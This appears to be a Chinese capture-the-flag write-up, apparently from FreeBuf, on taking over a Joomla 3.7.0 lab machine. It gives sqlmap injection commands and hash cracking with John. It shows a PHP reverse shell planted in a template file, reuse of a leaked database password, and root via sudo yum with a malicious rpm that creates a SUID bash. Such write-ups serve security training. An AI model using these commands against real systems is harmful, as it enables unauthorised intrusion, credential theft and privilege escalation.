通过 SQLi 破坏 Joomla CMS 帐户,练习破解哈希并利用 yum 提升您的权限。
一.信息收集
nmap
-sV -sC 10.10.102.79
开放了22、80、3306端口
二.枚举HTTP
访问http://10.10.102.79
通过nmap扫描的结果,我们发现网站使用了joomla框架,我们可以再验证一下,查看网页源代码
可以确认网站使用joomla CMS。
我们下载joomla专用扫描工具joomscan扫描网站
git clone https://github.com/OWASP/joomscan.git
cd
joomscan
perl
joomscan.pl http://10.10.102.79
我们识别出了jommla的版本以及一些路径。
三.利用SQL注入
我们使用searchsploit工具查找joomla 3.7.0的漏洞
cat
`locate 42033.txt`
根据42033.txt的内容,我们使用sqlmap直接对主机进行SQL注入
sqlmap
-u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
我略去了找到对应表的过程,直接给出结论。
sqlmap
-u "http://10.10.102.79/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
--risk=3 --level=5 -D joomla -T '#__users' -C password,username --dump
将hash值导出,并进行爆破
echo
'$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > hash
John
hash --wordlist=/usr/share/wordlist/rockyou.txt
得到了jonah用户的密码spiderman123
四.获得立足点(joomla getshell)
我们利用获得的账号和密码登录管理员页面(我是分几次记录这个笔记,所以目标ip会变化)
在模板新建一个 php 文件:Extensions -> Templates -> Templates
我们选择第一个模板
我们可以直接修改error.php,将恶意php文件写入error.php。
我们使用php-reverse-shell.php,将文件克隆到本地。
git
clone https://github.com/pentestmonkey/php-reverse-shell.git
修改ip和端口,同时设置监听
把error.php的内容修改为php-reverse.php
在浏览器中访问连接http://10.10.236.62/templates/beez3/error.php
成功获取到shell
五.权限提升
home目录下只有一个用户jjameson,我们想办法切换到这个用户
但是目前没有其他信息,我们在本地文件找找相关信息
我们在/var/www/html/configuration.php中发现了数据库的账号和密码
尝试使用密码nv5uz9r3ZEDzVjNu进行登录,成功登录
找到了第一个flag
使用suid提权
find
/ -user root -perm -4000 -print
以下命令具有suid权限
sudo -l 显示当前用户可以用 sudo 执行那些命令
jjameson用户可以以root权限执行yum
参考https://gtfobins.github.io/gtfobins/yum/
我们在本地构建一个恶意的rpm文件,并上传到靶机上,再让靶机安装rpm文件,达到命令执行的目的。
gem
install fpm
TF=$(mktemp
-d)
echo
'id' > $TF/x.sh
fpm
-n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
启动python网路服务器
python -m
http.server
并在靶机上下载x-1.0-1.noarch.rpm
sudo
yum localinstall -y x-1.0-1.noarch.rpm
成功执行id命令
我们用同样的方法制作rpm包,执行
cp
/bin/bash /tmp/stef2 && chmod +s /tmp/stef2
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
